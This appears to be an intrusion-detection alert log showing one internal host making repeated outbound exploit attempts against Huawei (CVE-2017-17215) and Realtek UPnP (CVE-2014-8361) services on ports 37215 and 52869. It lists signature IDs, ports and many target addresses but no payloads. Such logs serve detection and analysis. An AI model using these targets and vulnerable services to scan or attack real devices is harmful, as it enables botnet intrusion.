Timestamp:	07/20/24-23:01:33.070886
SID:	2829579
Source Port:	57058
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 223.125.41.63

Timestamp:	07/20/24-23:01:34.945580
SID:	2027339
Source Port:	35542
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.195.21.87

Timestamp:	07/20/24-23:01:05.927305
SID:	2829579
Source Port:	50314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.194.90.237

Timestamp:	07/20/24-23:01:25.283485
SID:	2829579
Source Port:	35192
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.221.222.140

Timestamp:	07/20/24-23:01:11.481655
SID:	2829579
Source Port:	34284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.71.235.143

Timestamp:	07/20/24-23:01:19.335313
SID:	2835222
Source Port:	55950
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.244.153.19

Timestamp:	07/20/24-23:01:11.472603
SID:	2835222
Source Port:	34266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 75.5.28.91

Timestamp:	07/20/24-23:01:34.908060
SID:	2027339
Source Port:	45048
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 85.70.210.244

Timestamp:	07/20/24-23:01:13.333147
SID:	2027339
Source Port:	58806
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 94.243.104.87

Timestamp:	07/20/24-23:01:25.280461
SID:	2829579
Source Port:	49396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 81.96.77.48

Timestamp:	07/20/24-23:01:29.563395
SID:	2027339
Source Port:	55074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 142.116.242.190

Timestamp:	07/20/24-23:01:34.920870
SID:	2831300
Source Port:	48136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 166.213.219.123

Timestamp:	07/20/24-23:01:24.833522
SID:	2027339
Source Port:	36028
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.141.57.214

Timestamp:	07/20/24-23:01:37.163818
SID:	2835222
Source Port:	49332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 115.207.235.241

Timestamp:	07/20/24-23:01:34.949876
SID:	2027339
Source Port:	40684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.248.220.216

Timestamp:	07/20/24-23:01:02.415804
SID:	2829579
Source Port:	47970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 124.185.245.199

Timestamp:	07/20/24-23:01:30.632085
SID:	2025132
Source Port:	57702
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.215.131.235

Timestamp:	07/20/24-23:01:22.784106
SID:	2835222
Source Port:	48368
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 198.58.137.77

Timestamp:	07/20/24-23:01:29.693794
SID:	2027339
Source Port:	45684
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 186.224.19.191

Timestamp:	07/20/24-23:01:23.155941
SID:	2025132
Source Port:	45930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.226.137.50

Timestamp:	07/20/24-23:01:28.145934
SID:	2835222
Source Port:	35902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.213.47.9

Timestamp:	07/20/24-23:01:19.221388
SID:	2835222
Source Port:	46384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 91.156.224.14

Timestamp:	07/20/24-23:01:33.591597
SID:	2027339
Source Port:	43896
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.127.18.213

Timestamp:	07/20/24-23:01:22.785873
SID:	2829579
Source Port:	40026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 143.52.168.238

Timestamp:	07/20/24-23:01:14.452336
SID:	2829579
Source Port:	38716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 177.232.37.130

Timestamp:	07/20/24-23:01:13.335418
SID:	2027339
Source Port:	36292
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.126.229.147

Timestamp:	07/20/24-23:01:37.166003
SID:	2829579
Source Port:	44090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.189.212.63

Timestamp:	07/20/24-23:01:22.776061
SID:	2835222
Source Port:	52598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.56.204.138

Timestamp:	07/20/24-23:01:05.920730
SID:	2835222
Source Port:	59830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 94.216.126.93

Timestamp:	07/20/24-23:01:29.171113
SID:	2027339
Source Port:	35368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.118.222.254

Timestamp:	07/20/24-23:01:25.230671
SID:	2835222
Source Port:	52352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 87.184.45.167

Timestamp:	07/20/24-23:01:34.899753
SID:	2027339
Source Port:	56970
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 17.191.17.248

Timestamp:	07/20/24-23:01:25.283485
SID:	2835222
Source Port:	50314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 169.141.152.236

Timestamp:	07/20/24-23:01:37.160288
SID:	2829579
Source Port:	54352
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 99.58.61.9

Timestamp:	07/20/24-23:01:13.330793
SID:	2831300
Source Port:	44640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.89.65.109

Timestamp:	07/20/24-23:01:25.293652
SID:	2835222
Source Port:	37198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.176.13.97

Timestamp:	07/20/24-23:01:05.898116
SID:	2829579
Source Port:	60744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 178.190.243.0

Timestamp:	07/20/24-23:01:22.857863
SID:	2027339
Source Port:	42150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.112.206.46

Timestamp:	07/20/24-23:01:37.222600
SID:	2829579
Source Port:	52084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 117.101.242.241

Timestamp:	07/20/24-23:01:34.931386
SID:	2027339
Source Port:	34882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.25.181.212

Timestamp:	07/20/24-23:01:28.195717
SID:	2835222
Source Port:	37986
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 178.57.58.147

Timestamp:	07/20/24-23:01:06.285046
SID:	2027339
Source Port:	59942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.78.140.44

Timestamp:	07/20/24-23:01:11.452806
SID:	2829579
Source Port:	41070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.193.147.74

Timestamp:	07/20/24-23:01:25.298710
SID:	2835222
Source Port:	47132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.100.42.90

Timestamp:	07/20/24-23:01:07.679354
SID:	2829579
Source Port:	40496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 196.128.196.44

Timestamp:	07/20/24-23:01:29.170915
SID:	2831300
Source Port:	51244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.141.124.42

Timestamp:	07/20/24-23:01:14.406186
SID:	2829579
Source Port:	58358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.250.99

Timestamp:	07/20/24-23:01:28.216939
SID:	2829579
Source Port:	60942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 104.41.121.72

Timestamp:	07/20/24-23:01:32.765427
SID:	2025132
Source Port:	60128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.93.65.112

Timestamp:	07/20/24-23:01:28.200134
SID:	2835222
Source Port:	34186
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.69.199.211

Timestamp:	07/20/24-23:01:05.895754
SID:	2829579
Source Port:	38070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.163.35.115

Timestamp:	07/20/24-23:01:37.234827
SID:	2829579
Source Port:	50860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 144.32.157.121

Timestamp:	07/20/24-23:01:33.376807
SID:	2027339
Source Port:	45678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 156.230.140.45

Timestamp:	07/20/24-23:01:13.330651
SID:	2027339
Source Port:	39940
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 2.153.113.72

Timestamp:	07/20/24-23:01:29.172557
SID:	2831300
Source Port:	37482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 141.111.126.230

Timestamp:	07/20/24-23:01:19.233507
SID:	2835222
Source Port:	32940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.116.137

Timestamp:	07/20/24-23:01:22.785873
SID:	2829579
Source Port:	50748
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 144.32.157.121

Timestamp:	07/20/24-23:01:34.923716
SID:	2027339
Source Port:	47506
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 60.154.99.20

Timestamp:	07/20/24-23:01:13.335387
SID:	2831300
Source Port:	37074
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 163.184.63.212

Timestamp:	07/20/24-23:01:33.908831
SID:	2025132
Source Port:	48184
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 151.151.89.112

Timestamp:	07/20/24-23:01:34.927043
SID:	2831300
Source Port:	34734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 2.51.166.193

Timestamp:	07/20/24-23:01:22.792727
SID:	2829579
Source Port:	35516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.164.107.20

Timestamp:	07/20/24-23:01:19.334911
SID:	2829579
Source Port:	49046
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.82.199.168

Timestamp:	07/20/24-23:01:05.920528
SID:	2835222
Source Port:	57084
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 36.44.157.9

Timestamp:	07/20/24-23:01:13.333349
SID:	2831300
Source Port:	54312
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 134.200.224.101

Timestamp:	07/20/24-23:01:11.460861
SID:	2835222
Source Port:	41180
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 194.97.213.111

Timestamp:	07/20/24-23:01:34.911761
SID:	2027339
Source Port:	51308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 112.118.31.143

Timestamp:	07/20/24-23:01:05.927305
SID:	2829579
Source Port:	51956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.242.103

Timestamp:	07/20/24-23:01:11.472602
SID:	2829579
Source Port:	42530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 154.234.222.130

Timestamp:	07/20/24-23:01:13.332051
SID:	2027339
Source Port:	52922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.77.118.133

Timestamp:	07/20/24-23:01:22.796666
SID:	2829579
Source Port:	36550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 167.169.213.136

Timestamp:	07/20/24-23:01:24.987343
SID:	2027339
Source Port:	58176
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 124.36.191.164

Timestamp:	07/20/24-23:01:34.995513
SID:	2831300
Source Port:	60212
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 141.224.95.108

Timestamp:	07/20/24-23:01:13.332172
SID:	2027339
Source Port:	46872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 74.70.219.36

Timestamp:	07/20/24-23:01:19.222597
SID:	2829579
Source Port:	54498
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 94.172.116.232

Timestamp:	07/20/24-23:01:33.879619
SID:	2025132
Source Port:	43790
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.136.216.172

Timestamp:	07/20/24-23:01:28.143794
SID:	2835222
Source Port:	45436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 24.11.27.243

Timestamp:	07/20/24-23:01:11.480465
SID:	2835222
Source Port:	32918
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 167.31.141.74

Timestamp:	07/20/24-23:01:24.721637
SID:	2025132
Source Port:	51598
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.183.70.1

Timestamp:	07/20/24-23:01:11.461274
SID:	2829579
Source Port:	47040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 108.92.57.223

Timestamp:	07/20/24-23:01:07.658956
SID:	2829579
Source Port:	49118
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.200.137.216

Timestamp:	07/20/24-23:01:25.287093
SID:	2829579
Source Port:	36742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 60.101.77.2

Timestamp:	07/20/24-23:01:25.473995
SID:	2027339
Source Port:	46966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.162.26

Timestamp:	07/20/24-23:01:33.068258
SID:	2829579
Source Port:	50026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 23.185.180.14

Timestamp:	07/20/24-23:01:24.075444
SID:	2831300
Source Port:	50780
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 90.236.30.131

Timestamp:	07/20/24-23:01:25.285323
SID:	2835222
Source Port:	36668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 216.167.162.18

Timestamp:	07/20/24-23:01:24.453373
SID:	2025132
Source Port:	55386
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.101.182.69

Timestamp:	07/20/24-23:01:14.397175
SID:	2835222
Source Port:	44530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 92.64.109.2

Timestamp:	07/20/24-23:01:05.897173
SID:	2835222
Source Port:	47400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.61.214.108

Timestamp:	07/20/24-23:01:11.461509
SID:	2829579
Source Port:	53558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 54.211.16.108

Timestamp:	07/20/24-23:01:22.991703
SID:	2027339
Source Port:	51302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.135.213.6

Timestamp:	07/20/24-23:01:02.409131
SID:	2835222
Source Port:	43282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 128.88.211.196

Timestamp:	07/20/24-23:01:29.175082
SID:	2831300
Source Port:	37626
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 79.163.220.136

Timestamp:	07/20/24-23:01:13.330569
SID:	2831300
Source Port:	56976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 120.181.248.17

Timestamp:	07/20/24-23:01:19.227177
SID:	2829579
Source Port:	49070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.163.127.218

Timestamp:	07/20/24-23:01:19.225050
SID:	2835222
Source Port:	49626
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.172.177

Timestamp:	07/20/24-23:01:07.662924
SID:	2835222
Source Port:	35716
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 46.136.73.170

Timestamp:	07/20/24-23:01:34.901553
SID:	2027339
Source Port:	60036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 73.33.53.195

Timestamp:	07/20/24-23:01:33.046879
SID:	2829579
Source Port:	58318
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.29.81.159

Timestamp:	07/20/24-23:01:07.674222
SID:	2829579
Source Port:	43034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 162.57.74.72

Timestamp:	07/20/24-23:01:05.593053
SID:	2027339
Source Port:	35304
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 74.98.6.90

